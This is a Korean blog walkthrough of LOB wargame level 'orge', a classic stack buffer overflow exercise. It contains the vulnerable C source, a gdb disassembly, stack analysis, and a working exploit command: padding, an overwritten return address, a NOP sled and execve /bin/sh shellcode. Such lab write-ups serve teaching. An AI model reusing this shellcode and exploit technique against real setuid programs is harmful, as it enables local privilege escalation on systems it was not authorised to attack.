darkelf에 로그인하면 orge 와 orge.c가 존재한다. 소스코드는 다음과 같다.
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
argc가 2보다 작으면 종료되고, argv[0]의 길이가 77이 아니면 종료된다. argv[0]은 실행파일의 이름이 저장되어 있는 곳인데, 실행파일을 실행할 때 orge를 실행하면 ./orge 로 실행해야하기 때문에 argv[0]에는 "orge"가 아닌 "./orge"가 들어가서 길이는 6이 된다. argv[0]의 길이가 77이 되게 하는 방법은 두 가지가 있다.
- 파일의 이름을 75자로 짓고, "./"을 포함해서 77자가 되게끔 해야 한다.
- 실행 파일을 실행할 때 "./orge" 가 아닌 "./././././././././././ ...... ./orge"를 77자에 맞춰서 사용한다.
2번의 의미를 살펴보면, 실행파일을 실행할 때 ./orge로 실행하는데, "./"의 의미는 현재 디렉토리라는 뜻이다.
ls -al을 출력해보면 디렉토리 중에 "."이라는 이름의 디렉토리가 존재하는데, 그 디렉토리가 현재 디렉토리이다. 이를 재귀적으로 사용해서 ././././././././././orge 로 사용하면, "현재 디렉토리에 있는 현재 디렉토리에 있는 현재 디렉토리에 있는 .... orge 실행파일 실행" 이라는 명령어가 된다. 이를 이용해서 길이를 75로 맞춰주어야 하는데, orge 4글자를 뺀 71자를 채워주는 방식으로 argv[0]의 길이를 늘려줄 수 있다.
파일의 이름을 바꾸어도 SetUID가 유지되어 있고, 소유자도 그대로 orge이길래, 파일 이름을 "A" 75자로 바꾸어주었다.
해당 if문을 통과하는지 확인해보기 위해 실행시켜보았다. 인자는 "AAAA"로 넘겨주었다.
정상적으로 실행되는 것을 볼 수있다. 다만, argv[1][47]이 "\xbf"가 아니여서 해당 if문에서 걸리게 된다. 이제 본격적으로 시작해보도록 한다. argv[0]의 길이를 확인하는 구문이 추가된 것 이외에는 이전 단계와 코드가 똑같기 때문에, argv[1]를 48바이트만 작성하고 argv[2]에 쉘 코드를 작성한 후, ret을 argv[2]의 시작 주소로 덮어주면 된다. gdb를 통해 주소를 확인해보았다.
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048690
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048526 <main+38>: mov %edx,DWORD PTR [%eax]
0x8048528 <main+40>: push %edx
0x8048529 <main+41>: call 0x80483f0 <strlen>
0x804852e <main+46>: add %esp,4
0x8048531 <main+49>: mov %eax,%eax
0x8048533 <main+51>: cmp %eax,77
0x8048536 <main+54>: je 0x8048550 <main+80>
0x8048538 <main+56>: push 0x804869c
---Type <return> to continue, or q <return> to quit---
0x804853d <main+61>: call 0x8048410 <printf>
0x8048542 <main+66>: add %esp,4
0x8048545 <main+69>: push 0
0x8048547 <main+71>: call 0x8048420 <exit>
0x804854c <main+76>: add %esp,4
0x804854f <main+79>: nop
0x8048550 <main+80>: nop
0x8048551 <main+81>: mov DWORD PTR [%ebp-44],0x0
0x8048558 <main+88>: mov %eax,DWORD PTR [%ebp-44]
0x804855b <main+91>: lea %edx,[%eax*4]
0x8048562 <main+98>: mov %eax,%ds:0x80497d4
0x8048567 <main+103>: cmp DWORD PTR [%eax+%edx],0
0x804856b <main+107>: jne 0x8048570 <main+112>
0x804856d <main+109>: jmp 0x80485b0 <main+176>
0x804856f <main+111>: nop
0x8048570 <main+112>: mov %eax,DWORD PTR [%ebp-44]
0x8048573 <main+115>: lea %edx,[%eax*4]
0x804857a <main+122>: mov %eax,%ds:0x80497d4
0x804857f <main+127>: mov %edx,DWORD PTR [%eax+%edx]
0x8048582 <main+130>: push %edx
0x8048583 <main+131>: call 0x80483f0 <strlen>
---Type <return> to continue, or q <return> to quit---
0x8048588 <main+136>: add %esp,4
0x804858b <main+139>: mov %eax,%eax
0x804858d <main+141>: push %eax
0x804858e <main+142>: push 0
0x8048590 <main+144>: mov %eax,DWORD PTR [%ebp-44]
0x8048593 <main+147>: lea %edx,[%eax*4]
0x804859a <main+154>: mov %eax,%ds:0x80497d4
0x804859f <main+159>: mov %edx,DWORD PTR [%eax+%edx]
0x80485a2 <main+162>: push %edx
0x80485a3 <main+163>: call 0x8048430 <memset>
0x80485a8 <main+168>: add %esp,12
0x80485ab <main+171>: inc DWORD PTR [%ebp-44]
0x80485ae <main+174>: jmp 0x8048558 <main+88>
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: add %edx,47
0x80485bb <main+187>: cmp BYTE PTR [%edx],0xbf
0x80485be <main+190>: je 0x80485d7 <main+215>
0x80485c0 <main+192>: push 0x80486ab
0x80485c5 <main+197>: call 0x8048410 <printf>
---Type <return> to continue, or q <return> to quit---
0x80485ca <main+202>: add %esp,4
0x80485cd <main+205>: push 0
0x80485cf <main+207>: call 0x8048420 <exit>
0x80485d4 <main+212>: add %esp,4
0x80485d7 <main+215>: mov %eax,DWORD PTR [%ebp+12]
0x80485da <main+218>: add %eax,4
0x80485dd <main+221>: mov %edx,DWORD PTR [%eax]
0x80485df <main+223>: push %edx
0x80485e0 <main+224>: call 0x80483f0 <strlen>
0x80485e5 <main+229>: add %esp,4
0x80485e8 <main+232>: mov %eax,%eax
0x80485ea <main+234>: cmp %eax,48
0x80485ed <main+237>: jbe 0x8048606 <main+262>
0x80485ef <main+239>: push 0x80486c8
0x80485f4 <main+244>: call 0x8048410 <printf>
0x80485f9 <main+249>: add %esp,4
0x80485fc <main+252>: push 0
0x80485fe <main+254>: call 0x8048420 <exit>
0x8048603 <main+259>: add %esp,4
0x8048606 <main+262>: mov %eax,DWORD PTR [%ebp+12]
0x8048609 <main+265>: add %eax,4
---Type <return> to continue, or q <return> to quit---
0x804860c <main+268>: mov %edx,DWORD PTR [%eax]
0x804860e <main+270>: push %edx
0x804860f <main+271>: lea %eax,[%ebp-40]
0x8048612 <main+274>: push %eax
0x8048613 <main+275>: call 0x8048440 <strcpy>
0x8048618 <main+280>: add %esp,8
0x804861b <main+283>: lea %eax,[%ebp-40]
0x804861e <main+286>: push %eax
0x804861f <main+287>: push 0x80486df
0x8048624 <main+292>: call 0x8048410 <printf>
0x8048629 <main+297>: add %esp,8
0x804862c <main+300>: push 40
0x804862e <main+302>: push 0
0x8048630 <main+304>: lea %eax,[%ebp-40]
0x8048633 <main+307>: push %eax
0x8048634 <main+308>: call 0x8048430 <memset>
0x8048639 <main+313>: add %esp,12
0x804863c <main+316>: leave
0x804863d <main+317>: ret
0x804863e <main+318>: nop
0x804863f <main+319>: nop
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
main+308 memset 함수에 중단점을 지정하고, argv[1], argv[2]에 각각 "\xbf"*48, "A"*48개를 넘겨서 실행시켜보았다. gdb에서는 해당 파일을 실행할 때 절대경로로 실행해서 ./AAAAA.... 가 아닌 /home/darkelf/AAAAA....로 실행하기 때문에, 이에 맞춰서 A의 길이를 바꾸어주었다.
0xbffffb94부터 보면, 0x41414141이 쭉 저장되다가 0xbffffbd2를 보면 0x00424141이 저장된 걸로 보아, 해당 부분이 argv[0]을 저장하는 곳이고 AAAAAA....AAB가 저장된 후 1바이트의 공백을 두고 그 뒤에 argv[1]과 argv[2]가 각각 저장된 걸 알 수 있다.
또한, argv[1]의 값을 buffer에 저장했을 때, ebp로부터 8바이트(sfp, ret)를 모두 "\xbf"로 덮은 것을 볼 수 있다. 공격 방법은 다음과 같다.
- argv[1]에 아무런 값 44바이트 + argv[2]의 시작 주소(0xbffffc06)를 인자로 넘겨줌.
- argv[2]는 적당한 길이의 "\x90"(NOP)과 쉘 코드를 인자로 넘겨줌.
- argv[0]이 77바이트가 되게끔 형식에 맞추어서 파일 실행.
위의 과정을 거쳐 코드를 작성하면 다음과 같다.
$ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB `python -c 'print "A"*44 + "\x06\xfc\xff\xbf" + " " + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
해당 코드를 실행했더니, core dump가 일어나면서 현재 디렉토리에 core라는 파일이 생성되었다.
gdb -q AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB core
를 이용해 core의 내용을 살펴보았다.
warning: core file may not match specified executable file.
Core was generated by `/home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB A'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbfffffb8 in ?? ()
내용은 대충 11번 signal을 호출하고 Segmentation fault가 발생하였는데, 0xbfffffb8이라는 위치를 모르겠다는 오류가 발생한 것이다.
x/80x $esp를 통해 스택의 상황을 출력해보았다.
argv[0],argv[1], argv[2]의 값이 보이고, 아래로 쭉 내려가다 보면 대충 0xbfffffac쯤에 값이 저장되는 것을 볼 수 있다. ret에 이상한 주소가 들어가서 해당 위치로 이동한 후 값을 저장한 것으로 보인다. 해당 코드에서 argv[2]가 시작되는 부분인 0xbffffb68을 ret에 저장해주는 코드로 재실행하면 정상적으로 쉘이 실행된다. 이제 해당 코드를 복사 파일이 아닌 원본 파일에 적용시키면 된다.
my-pass를 이용해 비밀번호를 알아낸 후 orge로 로그인하면 된다.
'Pwnable > LOB' 카테고리의 다른 글
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level9 (0) | 2020.08.15 |
---|---|
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level8 (0) | 2020.08.15 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level6 (0) | 2020.08.14 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level5 (0) | 2020.08.14 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level4 (0) | 2020.08.14 |